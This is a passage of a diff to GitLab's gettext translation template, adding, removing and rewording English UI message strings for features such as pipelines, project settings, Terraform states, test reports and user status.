msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
